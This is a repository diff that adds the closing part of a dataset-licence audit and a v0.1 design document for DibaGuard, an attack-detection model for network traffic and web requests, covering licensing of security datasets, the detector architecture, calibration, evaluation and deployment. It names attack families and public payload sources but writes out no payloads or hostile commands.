+ | `h2020simargl/vhs-22-network-traffic-dataset` | SIMARGL; a composite of ISOT, CICIDS-17, Booters, CTU-13 and Malware Traffic Analysis flows | CC BY 4.0 from the uploader; upstream terms unverified | AMBER | https://www.kaggle.com/datasets/h2020simargl/vhs-22-network-traffic-dataset |
95
+ | `ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset` | ITTI (APPRAISE H2020) | CC BY 4.0 | GREEN | https://www.kaggle.com/datasets/ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset |
96
+ | `ashtcoder/network-data-schema-in-the-netflow-v9-format` | SIMARGL2021-derived | CC BY 4.0 | GREEN (same as row 9) | https://www.kaggle.com/datasets/ashtcoder/network-data-schema-in-the-netflow-v9-format |
97
+ | `mtasfi/csic2010-flow-matched-replay` | CSIC 2010 plus SecLists | "Other"; inherits CSIC | AMBER | https://www.kaggle.com/datasets/mtasfi/csic2010-flow-matched-replay |
98
+ | `saurabhshahane/xss-attacks-dataset` | Usama Khalid 2019, Mendeley Data | CC BY 4.0 from the uploader; Mendeley original licence not checked | AMBER (verify Mendeley) | https://www.kaggle.com/datasets/saurabhshahane/xss-attacks-dataset |
99
+ | `khoilv2005/waf-data` | unknown | "Unknown" | RED | https://www.kaggle.com/datasets/khoilv2005/waf-data |
100
+ | `eliasdabbas/web-server-access-logs` (zanbil raw) | Zaker 2019 | CC0 (see row 13) | AMBER (low), as row 13 | https://www.kaggle.com/datasets/eliasdabbas/web-server-access-logs |
101
+ | `moradrawashdeh/attack-simulation-lab` | Uploader's own lab (Kali against an OWASP vulnerable app) | Apache 2.0 | GREEN | https://www.kaggle.com/datasets/moradrawashdeh/attack-simulation-lab |
102
+ | `sid321axn/malicious-urls-dataset` | Compiled from ISCX-URL-2016, PhishTank, PhishStorm and blacklists | CC0 from the uploader; upstream terms vary | AMBER | https://www.kaggle.com/datasets/sid321axn/malicious-urls-dataset |
103
+ | PayloadsAllTheThings (`swisskyrepo/PayloadsAllTheThings`) | swisskyrepo | MIT | GREEN | https://github.com/swisskyrepo/PayloadsAllTheThings |
104
+ | SecLists (`danielmiessler/SecLists`) | Miessler et al. | MIT | GREEN (for the Fuzzing payload files) | https://github.com/danielmiessler/SecLists |
105
+ | OWASP CRS (`coreruleset/coreruleset`, incl. regression tests) | OWASP | Apache-2.0 | GREEN (keep the NOTICE) | https://github.com/coreruleset/coreruleset |
106
+ | OpenAPI directory (`APIs-guru/openapi-directory`) | APIs.guru | CC0-1.0 on the repository; terms of the individual API definitions unverified | GREEN (directory) | https://github.com/APIs-guru/openapi-directory |
107
+ | Common Crawl index | Common Crawl | Common Crawl Terms of Use; page content stays with site owners | AMBER | https://commoncrawl.org/terms-of-use |
108
+ | WAF-A-MoLE (obfuscation tool, not data) | Demetrio et al. | MIT | GREEN (as a tool to obfuscate our own GREEN payloads) | https://github.com/AvalZ/WAF-A-MoLE |
109
+
110
+ `dibaguard/families.py` maps CRS rule-file numbers, PayloadsAllTheThings folder names and SecLists keywords to
111
+ families. These are names and numbers, not copied content, so no licence issue arises.
112
+ `dibaguard/shield/playbook.py` describes its signatures as "in the spirit of the OWASP Core Rule Set". If any CRS
113
+ regex was copied verbatim, the Apache-2.0 NOTICE must ship with it (**not checked**).
114
+
115
+ ---
116
+
117
+ ## 3. Per-dataset notes
118
+
119
+ **UQ NetFlow family (rows 1–3, all `nf*`).** UQ's official pages (cyber.uq.edu.au/node/824 and the Research Data
120
+ Australia record for NF-ToN-IoT-v2: licence "Other", rights "2023, The University of Queensland") grant academic
121
+ use only: "For commercial purposes, it should be agreed upon by the authors" (contact Mohanad Sarhan). The v3
122
+ download page gives citations but no licence; the same terms are assumed. This sits on top of the UNSW terms for
123
+ UNSW-NB15, BoT-IoT and ToN-IoT, which are also academic-only with commercial use by agreement. CSE-CIC-IDS2018
124
+ itself is permissive, but UQ's NetFlow re-extraction is UQ's work under UQ's terms. Kaggle copies add CC BY-NC-SA
125
+ (athena21, dhoogla) or false permissive labels (thanhphuc1810 "MIT", aryashah2k "CC0"). The UQ data was produced
126
+ with nProbe, which is commercial software. A NetFlow-v3-equivalent rebuild therefore needs our own flow aggregator
127
+ or an exporter whose licence is checked.
128
+
129
+ **CIC datasets (rows 4–6, 10–11).** UNB CIC's FAQ explicitly answers the commercial-use question with "you may
130
+ redistribute, republish, and mirror our datasets in any form", provided every use cites the dataset and its paper.
131
+ The CIC-IDS2017 page itself still says "publicly available for researchers". The FAQ is the more specific answer
132
+ to the commercial question, but the wording conflict is worth a one-line confirmation e-mail to CIC@unb.ca. The
133
+ problem with rows 4–6 is the **source**: dhoogla's cleaned parquet files carry CC BY-NC-SA 4.0. The DistriNet
134
+ (KU Leuven) label corrections have no licence statement. Either ask DistriNet, or re-implement the published
135
+ correction rules ourselves on the UNB originals (methods and facts are not copyrightable, the files are). The
136
+ CIC-BCCC-NRC releases (rows 10–11) are co-produced with York University's BCCC and NRC. They also contain
137
+ re-processed third-party data: the TabularIoTAttack-2024 bundle includes ToN-IoT, which falls under UNSW terms
138
+ (only the ACI and IoMT members are used here). Get CIC/BCCC confirmation that the FAQ applies.
139
+
140
+ **LUFlow (rows 7–8).** The author's own Kaggle release is CC BY-SA 4.0 and permits commercial use. ShareAlike binds
141
+ any shared Adapted Material, so keep `entity_v1/lu2020.parquet` private. Whether trained weights count as Adapted
142
+ Material is unsettled, so get legal sign-off before shipping. The dhoogla "improved" copy is CC BY-NC-SA: stop
143
+ using it.
144
+
145
+ **SIMARGL2021 (row 9).** CC BY 4.0 on the Kaggle account that also publishes SIMARGL2022 and VHS-22. The paper's
146
+ data-availability statement points to simargl.eu, which was not checked.
147
+
148
+ **CSIC 2010 (row 12).** Widely mirrored, but no licence was found. The Kaggle mirror itself says "© Original
149
+ Authors". The official page could not be fetched (TLS failure), so this is **unverified**. Because CSIC-normal
150
+ requests are also the carriers for every payload-only source in `http_v1`, CSIC content sits inside a large share
151
+ of the HTTP training rows, not only in the `csic` source rows.
152
+
153
+ **zanbil.ir (row 13).** The Dataverse licence is CC0 1.0, but the raw `Access.log.zip` is now access-restricted for
154
+ "sensitive content", and the Kaggle copies circulate it. The builder keeps no client IP (only method, path, query,
155
+ user-agent and referer) and drops the timestamp column, which is good. Ask Farzin Zaker for a one-line written OK.
156
+ Fix the `LICENCE` tag in `guard_jobs/http_build.py` from `cc-by-4.0` to `cc0-1.0`.
157
+
158
+ **Payload sets (rows 14–19).** Kaggle "Unknown" plus scraped provenance means no rights at all (rows 15, 17 and 18).
159
+ Rows 14, 16 and 19 have permissive uploader labels on top of upstream content that is GPL-3.0, unnamed, or
160
+ unlicensed. All of them are easy to replace (see §4).
161
+
162
+ **ModSecurity 2025 (row 21).** CC BY 4.0, anonymised by the publisher, and the most modern attack source in the
163
+ project. It is GREEN, and attribution must appear in the model's NOTICE.
164
+
165
+ ---
166
+
167
+ ## 4. Required actions
168
+
169
+ 1. **Do not ship the current models commercially.** That covers every artefact except
170
+ `entity_v1/lu_entity_detector` (see the artefact table in §1). The card's LICENSE already restricts the preview
171
+ to private evaluation. Note that "academic research" grants (UQ, UNSW) and "NonCommercial" licences arguably do
172
+ not cover even *internal* R&D by a company building a product. Get a legal view on the current internal use and
173
+ on publishing benchmark numbers measured on RED sets.
174
+ 2. **Correct the project's own licence statements** (not edited by this audit; listed for the owner):
175
+ * `guard_jobs/http_build.py`, `LICENCE`: `zanbil` should be `cc0-1.0`, not `cc-by-4.0`. `csic` should be
176
+ `unknown`, not `research`. Replace the `kaggle` tags with the real values from this file
177
+ (`unknown` / `apache-2.0` / `cc0-1.0` / `mit`).
178
+ * `docs/DESIGN.md` §9 and `scripts/make_report.py` (the line saying the prior is trained on "MIT / CC BY sets"):
179
+ the MIT-labelled NetFlow v3 copy is **not** licence-clean.
180
+ * `guard_jobs/survey_new.py` comments call rows 3, 10 and 11 "MIT copy". Mark them "uploader label, not owner
181
+ licence".
182
+ * Add a per-row `licence` column to `flows_v1` and `entity_v1`, as `http_v1` already has, so a commercial build
183
+ can filter on it.
184
+ 3. **Ask for permission where it is realistic and valuable:**
185
+ * UQ (M. Sarhan / M. Portmann): commercial use of NF-*-v2/v3.
186
+ * UNSW Canberra (N. Moustafa): ToN-IoT ("allowable after asking the author"), BoT-IoT, UNSW-NB15.
187
+ * CSIC / ITEFI (C. Torrano Giménez, A. Pérez Villegas, G. Álvarez Marañón): CSIC 2010.
188
+ * Farzin Zaker: zanbil raw access log.
189
+ * DistriNet, KU Leuven: the corrected CIC labels.
190
+ * CIC@unb.ca and BCCC (York): confirm the FAQ covers commercial model training, including the CIC-BCCC-NRC
191
+ releases.
192
+ * Keep every reply in writing, stored with the data manifest.
193
+ 4. **Licence-clean rebuild (no permission needed).**
194
+ * *Single-flow and CICFlowMeter view:* rebuild from the **UNB/AWS originals** of CIC-IDS2017, CSE-CIC-IDS2018
195
+ (AWS `s3://cse-cic-ids2018/`), CIC-DDoS2019, CIC-IoT2023 and CICIoMT2024, cited as CIC requires. Re-implement
196
+ label fixes from the published papers.
197
+ * *NetFlow / entity view (needs addresses and timestamps):* re-flow the CSE-CIC-IDS2018 and CIC-IDS2017 PCAPs
198
+ with DibaGuard's own aggregator into the `nf` schema. This replaces `nfv3_cic2018` and gives a CIC-IDS2017
199
+ testbed. Also add SIMARGL2021 and SIMARGL2022 (CC BY 4.0), APPRAISE H2020 real NetFlow (CC BY 4.0), LUFlow
200
+ from the author's copy (CC BY-SA 4.0), ACI-IoT-2023 from the author's copy (CC BY 4.0), and MU-IoT (CC BY 4.0).
201
+ * *Own data:* add streams from `scripts/redteam_lab.py`, `redteam_hard.py` and `redteam_platforms.py`. BoT-IoT,
202
+ ToN-IoT and UNSW-NB15 have no permissive twin. IoT coverage comes from ACI-IoT-2023, MU-IoT, CIC-IoT2023 and
203
+ CICIoMT2024.
204
+ * *HTTP benign carriers:* zanbil (CC0, after the author's OK), SR-BH 2020 normal requests (CC0), requests
205
+ generated from the APIs.guru OpenAPI directory (CC0), and the red-team scripts' synthetic site traffic.
206
+ Retire the CSIC carriers.
207
+ * *HTTP attacks:* PayloadsAllTheThings Intruder lists (MIT), SecLists Fuzzing (MIT), CRS regression tests
208
+ (Apache-2.0), SR-BH 2020 anomalous requests (CC0), ModSecurity 2025 (CC BY 4.0), `moradrawashdeh` lab
209
+ (Apache-2.0) and `scripts/db_corpus.py` grammar SQL (own).
210
+ * *Evasion variants:* produce them with our own mutation engine or WAF-A-MoLE (MIT) applied to the payloads above.
211
+ This replaces rows 15–18.
212
+ 5. **Attribution / NOTICE file for any commercial release.** Include:
213
+ * CIC: dataset names, papers, and the AWS link for CSE-CIC-IDS2018.
214
+ * SIMARGL: Sensors 2021.
215
+ * LUFlow: TNSM 2021, with the CC BY-SA 4.0 notice.
216
+ * ACI-IoT-2023: MILCOM 2024 and doi:10.21227/qacj-3x32.
217
+ * MU-IoT: IEEE Access 2024.
218
+ * APPRAISE.
219
+ * ModSecurity archive: doi:10.5281/zenodo.17178461.
220
+ * SR-BH 2020: doi:10.7910/DVN/OGOIXX.
221
+ * MIT and Apache-2.0 notices for PayloadsAllTheThings, SecLists, CRS and WAF-A-MoLE where their content or code
222
+ is bundled.
223
+ 6. **Personal data.** zanbil holds real client IPs and user agents. The ModSecurity archive keeps anonymised client
224
+ addresses. Keep addresses out of features and corpora, as the builders already do (zanbil) or anonymise
225
+ (modsec), and never redistribute raw rows.
226
+
227
+ ---
228
+
229
+ ## 5. Unverified or open points
230
+
231
+ * The UQ NF-*-v3 licence is not stated on the v3 download page. The NF-v2 terms (academic only) are assumed.
232
+ * The CSIC 2010 official page could not be fetched (TLS error), so no licence text was seen.
233
+ * Whether the `h2020simargl` Kaggle account is the SIMARGL consortium. The Kaggle uploader identities `mryanm`
234
+ (Ryan Mills), `emilynack` (Emily Nack) and `ubobyclinton` (U.B. Clinton) are inferred from display names.
235
+ * Whether the CIC FAQ covers the CIC-BCCC-NRC (York/NRC co-owned) releases, and the terms behind York's "Request
236
+ Dataset" form.
237
+ * Upstream licences of the mreowie sources other than the two GPL-3.0 repositories. `payloadbox/xss-payload-list`
238
+ returned 404 on GitHub's API.
239
+ * ECML/PKDD 2007 challenge data terms: none found. The Mendeley "XSS Attacks Dataset" (Khalid 2019) licence was not
240
+ checked.
241
+ * Legal questions, not factual ones: whether trained model weights are "Adapted Material" under CC BY-SA or
242
+ NC-SA, and whether GPL-3.0 data imposes copyleft on a model trained on it.
243
+ * Which `http_v2` run produced the shipped `http_tier1_v2` (`final` without ModSecurity training, or `final2` with
244
+ it). Either way it inherits `http_v1`.
245
+
246
+ ---
247
+
248
+ *Not legal advice.* This audit was compiled on 2026-10-31 from public web pages and dataset metadata, and records
249
+ what those sources said on that date. Licences and pages change. Before any commercial release, a qualified lawyer
250
+ should review the AMBER items, the permission correspondence, and the CC ShareAlike / NonCommercial and GPL
251
+ questions above.
docs/DESIGN.md ADDED
@@ -0,0 +1,265 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — design (v0.1, 2026-10-30)
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ > **Historical note.** This is the v0.1 design document. Its statement that a licence-clean retrain could use the "MIT-licensed merged NetFlow v3" copy was wrong: that label was set by an uploader who is not the data owner (`DATA_LICENSES.md`, row 3). The licence-clean models were trained as described in `CLEAN_MODELS.md`.
6
+
7
+ A CPU-only attack-intensity model for network traffic and web requests, built on the DibaOne decision architecture
8
+ (typed calibrated outputs, tiered cascade with a router, adaptive memory with feedback). Working name: DibaGuard.
9
+
10
+ **Answer it gives, for every event and continuously for every entity and site:**
11
+
12
+ | level | output |
13
+ |---|---|
14
+ | event (one flow, one HTTP request, one packet burst) | `p_attack` (calibrated), `family` (open set: sqli, xss, traversal, cmdi, ssrf, ssti, xxe, jndi, scan, bruteforce, dos, botnet, exfil, …), `severity` 0–1, `score` 0–100, `evidence` (decoded payload span / features that drove it), `tier` and µs spent |
15
+ | entity (source IP, session, API key, JA3/UA fingerprint) | `risk` 0–100 with decay, `campaign` id when several entities share a fingerprint |
16
+ | site | `pressure` 0–100: how much of the current traffic is attack, by family |
17
+
18
+ ## 1. Hard budgets (the product is the budget)
19
+
20
+ | budget | target, 1 vCPU, no GPU |
21
+ |---|---|
22
+ | model files, all tiers | < 15 MB (int8) |
23
+ | RAM, runtime + 1 M tracked entities | < 300 MB |
24
+ | HTTP throughput (tiers 0–1, batched) | ≥ 20 000 req/s; p99 < 1 ms incl. tier 2 |
25
+ | flow throughput (tier 1) | ≥ 200 000 flows/s |
26
+ | tier 2 share of traffic | ≤ 5 % (router-controlled) |
27
+ | dependencies at inference | numpy + onnxruntime (no torch) |
28
+
29
+ Every report states the machine, threads, batch size and the measured numbers. A run with no numbers is not a run.
30
+
31
+ ## 2. Architecture (DibaOne heritage → what is new here)
32
+
33
+ ```
34
+ ┌──────── tier 0: stream state (O(1)/event) ─────────┐
35
+ packets ──► │ flow aggregator (NetFlow v2-compatible features) │
36
+ NetFlow ──► │ per-entity counters: count-min sketch + EWMA │──► features ─┐
37
+ HTTP ──► │ canonicaliser: multi-round decoding, normal form │ │
38
+ └────────────────────────────────────────────────────┘ ▼
39
+ tier 1 (µs): flows → gradient-boosted trees (ONNX/treelite) calibrated p, family
40
+ HTTP → hashed char/token n-grams + structure → linear (sparse)
41
+ router: confident? ──yes──► decision layer
42
+ no (≈2–5 %)
43
+ tier 2 (≈0.3 ms): tiny byte transformer (≈1–2 M params, int8), multi-task heads
44
+ ▼
45
+ decision layer: per-family temperature, Mondrian conformal thresholds (FPR ≤ α
46
+ per site/endpoint), abstain = "review", entity risk accumulation, evidence
47
+ ▼
48
+ adaptive layer: site profile (template + parameter-type model), kNN memory,
49
+ feedback (/v1/feedback) → instant correction without retraining
50
+ ```
51
+
52
+ ### Innovations (each one has a benchmark that can prove or kill it)
53
+
54
+ 1. **Guaranteed false-alarm budget per deployment.** Thresholds are set by Mondrian conformal prediction on the
55
+ site's own benign traffic, per endpoint group and per source type, so `FPR ≤ α` holds with a finite-sample
56
+ guarantee instead of a vendor-chosen threshold. Conformal martingales over the same p-values detect drift and
57
+ trigger recalibration. *Benchmark:* realised FPR vs α on held-out benign traffic of unseen sites.
58
+ 2. **Compute-budgeted cascade.** The router (as in DibaOne X1) sends each event to the cheapest tier that is
59
+ confident enough, under a per-request `max_us`; thresholds fitted on dev to minimise expected cost.
60
+ *Benchmark:* accuracy vs µs/event curve; share of events per tier.
61
+ 3. **Evasion-invariant training.** A deterministic canonicaliser (URL/HTML/unicode/hex/base64 decoding until a fixed
62
+ point, SQL/JS comment and whitespace folding, case folding) plus a mutation engine (encodings, case, comments,
63
+ synonyms, splitting) and a consistency loss: an attack and its obfuscated variants must score alike.
64
+ *Benchmark:* detection on obfuscated attacks never seen in training (evasion suite).
65
+ 4. **Self-learned positive model per site (zero-day).** A compact profile of each site's normal requests: path
66
+ templates (Drain-style tree), parameter types (int / uuid / email / slug / free text / Persian text), length and
67
+ charset distributions, in sketches of a few MB. Violations add an anomaly term to the supervised score, so
68
+ attacks with no known signature still raise the score. *Benchmark:* leave-one-family-out recall.
69
+ 5. **Attack intensity, not only labels.** Event probability × severity, accumulated per entity with decay and linked
70
+ across entities by shared fingerprints (low-and-slow scans, credential stuffing from many IPs).
71
+ *Benchmark:* time-to-detect and campaign recall on replayed multi-stage attacks.
72
+ 6. **Persian-aware.** Benign hard negatives with Persian text in parameters (percent-encoded UTF-8, ZWNJ, Persian
73
+ digits), Iranian site traffic (zanbil.ir logs) — a common false-positive source for Western WAF rules.
74
+ 7. **Learning from analysts in seconds** (DibaOne adaptive memory): a marked false positive changes the next
75
+ decision immediately (kNN override + gated adapter), and is kept for the next training round.
76
+ 8. **Feeds anything:** raw packets (own aggregator), NetFlow/IPFIX exports from routers (no capture needed), access
77
+ logs (nginx/apache/IIS), reverse-proxy mirror, or an inline SDK call.
78
+
79
+ ## 3. Data (private R&D first; licences tracked per row, `meta.licence`)
80
+
81
+ | modality | sources (Kaggle-attached; nothing downloaded through the office network) |
82
+ |---|---|
83
+ | flows, NetFlow v2 view | NF-UQ-NIDS-v2 (UNSW-NB15, BoT-IoT, ToN-IoT, CSE-CIC-IDS2018), NF v3 sample |
84
+ | flows, CICFlowMeter view | CIC-IDS2017 & CSE-CIC-IDS2018 (DistriNet label-corrected), CIC-DDoS2019, CIC-IoT2023 |
85
+ | real traffic | LUFlow (university network, honeypot-labelled, to 2026) |
86
+ | packets | UNSW + CIC-IDS2017 labelled PCAP subset |
87
+ | HTTP | CSIC 2010, SQLi/XSS sets (incl. obfuscated), labelled access logs, attack-simulation lab, payload repos (PayloadsAllTheThings, SecLists — MIT; OWASP CRS regression tests — Apache-2.0) |
88
+ | benign HTTP | CSIC normal, zanbil.ir logs (CC0), requests generated from public OpenAPI specs (APIs.guru, CC0), Persian/code/SQL-looking benign text as hard negatives |
89
+
90
+ Rules: no IPs, timestamps or flow ids as features (shortcuts); dedup by feature hash before splitting; splits by
91
+ capture day / site where possible; licences per row (many NIDS sets are CC BY-NC-SA → private R&D; a commercial
92
+ release trains on the permissive subset or needs permission).
93
+
94
+ ## 4. Evaluation (frozen test sets; one scorer)
95
+
96
+ * in-distribution, and **leave-one-dataset-out** (train on the others, test on the held-out dataset) — the honest
97
+ generalisation number most papers omit;
98
+ * TPR at FPR = 1e-3 and 1e-4, AUROC, AUPRC, macro-F1 over families, ECE;
99
+ * evasion suite (obfuscated attacks), Persian benign hard-negative FPR, leave-one-family-out recall;
100
+ * µs/event, events/s, RAM, model MB on a stated CPU.
101
+
102
+ ## 5. Plan
103
+
104
+ | step | where | status |
105
+ |---|---|---|
106
+ | S0 survey of every dataset (schemas, labels, counts) | Kaggle CPU, both accounts | running |
107
+ | S1 build `flows_v1` and `http_v1` corpora → `DibaAi/dibaguard-data-private` | Kaggle CPU | next |
108
+ | S2 tier 1 baselines (trees for flows, n-gram linear for HTTP) + leave-one-dataset-out | Kaggle CPU | |
109
+ | S3 tier 2 byte model + evasion training | Kaggle GPU (T4) | |
110
+ | S4 decision layer (calibration, conformal, entity risk) + runtime (numpy/onnxruntime) | local | |
111
+ | S5 site profile, feedback, private test Space, report | local + HF Space (private) | |
112
+
113
+ ## 6. Deployment: one engine, many hosts (added 2026-10-30)
114
+
115
+ Goal: the strongest detector we can train, packaged so it drops in next to any load balancer or becomes one.
116
+
117
+ **Model contract (language-agnostic).** A tier-1 model is a flat file:
118
+ `feat[S] int16, border[S] float32, tree_tests[T,D] int16, leaves[T,2^D,C] float32|int8, bias[C], info json`
119
+ (`dibaguard/flows/trees.py`). Evaluation = S compares, T×D bit gathers, T leaf lookups, one sum. The HTTP tier-1
120
+ model adds `emb[B,E] int8 + scale` and the n-gram hash spec (`dibaguard/hashing.py`: FNV-64 rolling, splitmix mix,
121
+ orders 2–6). Both are ~100 lines in Go; a parity test (`tests/parity/*.jsonl` = inputs + expected raw scores,
122
+ bit-exact) is part of the release, so any port is proven, not trusted.
123
+
124
+ **Three independent layers, each replaceable:**
125
+ 1. *Score* – stateless, pure function `record → raw score`. Library (Python/numpy, Go), or sidecar.
126
+ 2. *Decide* – threshold (conformal, site- or shipped-calibrated), temperature, family head on alarms, entity risk,
127
+ site pressure, drift martingale. Small mutable state (≈ a few MB), exportable/importable as JSON → can be shared
128
+ across LB replicas or kept per replica.
129
+ 3. *Adapt* – site profile (percentile grids; `siteprofile.py` compiles them into the tree borders, so the deployed
130
+ model stays raw-feature, same size, same speed), feedback memory, periodic recalibration. Runs offline or in a
131
+ control-plane process; ships new borders/thresholds to layer 1/2 atomically.
132
+
133
+ **Hosts.** (a) Sidecar: HAProxy SPOE / Envoy ext_proc / nginx `auth_request` → local UDS/HTTP, p50 < 100 µs.
134
+ (b) Native Go load balancer with the engine embedded (flows from conntrack/NetFlow mirror, HTTP from the proxy
135
+ itself) – score every request, rate-limit / challenge / block per entity risk and site pressure. (c) Library.
136
+ Decision outputs are the same objects everywhere: `{p, alarm, family, severity, score 0-100, entity_risk,
137
+ site_pressure, threshold_source}`.
138
+
139
+ **Test ladder (every release):** unit parity (Python↔Go bit-exact) → LODO cross-network numbers → site-calibrated
140
+ FPR actually ≤ α on held-out benign → evasion/obfuscation suites (HTTP) → load test (req/s, p99, RSS) → 24 h soak on
141
+ replayed real logs with drift alarms counted.
142
+
143
+ ## 7. v2: the woven cascade (2026-10-30)
144
+
145
+ Why: v1 scores each flow / request alone. Cross-network evaluation with *source-capped* sampling (every source
146
+ contributes at most one 60k-flow run, so a few DoS bots cannot dominate) shows that single-record detectors - trees
147
+ or a GRU - transfer poorly; what a site can always have is its *own* normal traffic. v2 therefore weaves three
148
+ threads per source and lets the site's benign stream condition every one of them:
149
+
150
+ | layer | what | cost (Go, 1 core) | runs on |
151
+ |---|---|---|---|
152
+ | 0 entity state | decayed counters, novelty memory, gaps (36 features) | 275 ns | every flow / request |
153
+ | 1 trees | oblivious trees on layer-0 features (shipped prior: "what attacks look like") | 1.7 µs | every flow |
154
+ | 1' site anomaly | quantile p-values / isolation forest on layer-0 features, fitted on this site's benign only | ~1 µs | every flow |
155
+ | 2 sequence net | causal GRU per source over its event stream (+ optional site context FiLM) | 8.6 µs at d=24 (keep d ≤ 64) | warm sources only (tier-1 above the low-water mark) |
156
+ | HTTP | hashed n-gram bag + MLP conditioned on the site profile (HttpModel2); the request also enters layer 0 as an event | 8.9 µs | every request |
157
+
158
+ Decision: every thread yields a conformal p-value against the site's benign reference; the verdict is the minimum
159
+ (Bonferroni over threads), so the realised false-alarm rate stays at α whatever the mix. Family head on alarms
160
+ only; EntityRisk / SitePressure / drift as before.
161
+
162
+ Evaluation protocol (guard_jobs/seq_train.py): temporal + leave-one-network-out on source-capped corpora, each
163
+ run reporting flow AUROC, site-calibrated FPR/TPR, entity-minute AUROC and the intensity correlation for the GRU,
164
+ the trees, the two anomaly baselines and the fused verdicts. Honest result: single-record transfer is weak for
165
+ everyone; the fused, site-conditioned verdict is what ships.
166
+
167
+ Modern threat landscape (2025-26 vendor reports): L7 floods and bots (half of web traffic), API abuse, credential
168
+ stuffing, scanners, AI crawlers - i.e. *behaviour over time per client*, which is exactly what layers 0/2 and the
169
+ HTTP session stream measure. Injection payloads still matter and are covered by the n-gram model; the 2025
170
+ ModSecurity thirty-day archive (CC BY 4.0) is the modern attack-payload source.
171
+
172
+ LLM bridge (dibaguard/llm.py): five tools (status, score flows, score http, calibrate, report) as MCP over stdio,
173
+ OpenAI / Anthropic tool schemas and a stdlib HTTP server; the incident report (dibaguard/report.py) is a fixed JSON
174
+ schema rendered to English and Persian from the engine's own state - no model narrates numbers it did not compute.
175
+
176
+ ## 8. v2.1: the real-world layer (2026-10-30, evening)
177
+
178
+ What was weak after v2 and what fixed it - every item measured, none tuned by hand:
179
+
180
+ | weakness | root cause | fix (dibaguard/engine.py) |
181
+ |---|---|---|
182
+ | per-flow detection at α = 1e-3 ≈ 0 on unseen networks | the flow is the wrong unit: an attacker sends hundreds of flows, a verdict per flow throws the sequence away | **per-source accumulated evidence** `E ← E·e^(-Δt/τ) + (−log p)` (τ = 120 s), judged per (source, minute) against the site's benign source-minute maxima (`decide.SourceEvidence`). LODO CIC-IDS2018: every attacking source caught, source-minute TPR 0.6 at FPR 2e-3 (was 0.0 per flow) |
183
+ | realised FPR above target when the traffic mix changes | one global reference; a new or bursty service moves every threshold | **Mondrian references by service × source age** (`ent.service_key`, `AGE_EDGES`): a client's first flows are judged only against other clients' first flows; a cell without reference **abstains** (p = 1) instead of guessing |
184
+ | false alarms on new clients (flash crowds) | births look extreme against steady-state sources | same age conditioning + abstention; destination-side features kept out of per-flow verdicts (they belong to site pressure) |
185
+ | FPR ratchet over hours (+1 %/h) | self-cleaning rolling references trimmed the benign tail; anomaly scores against a growing reference change scale | **epoch re-calibration**: every `recal_s` (30 min) all references are rebuilt at once from the last `recal_window_s` (2 h) of traffic, sources with evidence left out; the evidence reference is built out of sample (last quarter scored against the first three). Measured: 0.08 → 0.23 → 0.23 % per source-minute over three benign hours at α = 1e-3 (was 0.18 → 1.0 → 2.5 %) |
186
+ | wrong attack families | the GRU family head does not transfer | transparent **rules on the stream counters** (`ent.family_rules`): port walking → portscan, same (host, port) again and again → bruteforce, ≥ 10 flows/s at one service → dos/ddos, host walking with failures → recon |
187
+ | supervised prior scoring a SYN scan as benign | dataset artefacts in unconstrained trees | **monotone trees** on the 24 attack-direction features (more scanning can never look more benign) |
188
+ | unseen web application (WordPress) | vocabulary the model never saw | **site n-gram novelty** (`HttpModel2.novelty`): share of a request's n-grams absent from the site's own benign vocabulary, rarity-weighted - evaluated (WordPress AUROC 0.92 vs 0.61), **not yet part of the live verdict** |
189
+
190
+ False-alarm budget: α/2 to the evidence tier, α/(2·k) to each of the k per-flow tiers (Bonferroni), so the union stays at α.
191
+
192
+ What the engine learns on the server and what it does not: every reference, threshold, site profile and vocabulary is
193
+ re-learned from the site's own traffic every epoch (no labels, poisoning-resistant by excluding sources with evidence);
194
+ model weights (trees, GRU, HTTP MLP) are frozen - online weight updates without labels would be a poisoning surface.
195
+ The feedback loop (operator-confirmed alarms → periodic offline retraining) is the next step, not an online one.
196
+
197
+ ## 9. v2.2: distributed floods, slow scans, feedback, rules, and the live lab (2026-10-31)
198
+
199
+ The static cross-dataset numbers hid live failures that only a running, multi-wave environment shows. A local
200
+ red-team/blue-team lab (scripts/redteam_lab.py: a self-owned localhost target, benign traffic, and the engine's own
201
+ playbook patterns replayed over several waves, scored against known ground truth) drove the next round of fixes:
202
+
203
+ | gap the live lab exposed | fix |
204
+ |---|---|
205
+ | distributed / volumetric floods (amplification, peer/sybil floods) have no single guilty source | **per-destination evidence tier**: a destination's (flows, no-reply, new-source) anomaly accumulated per destination-minute; a flow is blamed only if it is new to the destination *and* off-profile, so the server's established benign clients are spared. NTP amplification 1.0, peer flood 0.76-0.80 |
206
+ | slow scans (nmap -T1 over ~30 min) never accumulate at tau=120 s | **long-horizon source evidence** (tau=1800 s) in parallel, fed only by mildly-suspicious flows; once its reference is warm (~2 epochs) slow-scan detection is 0.95 |
207
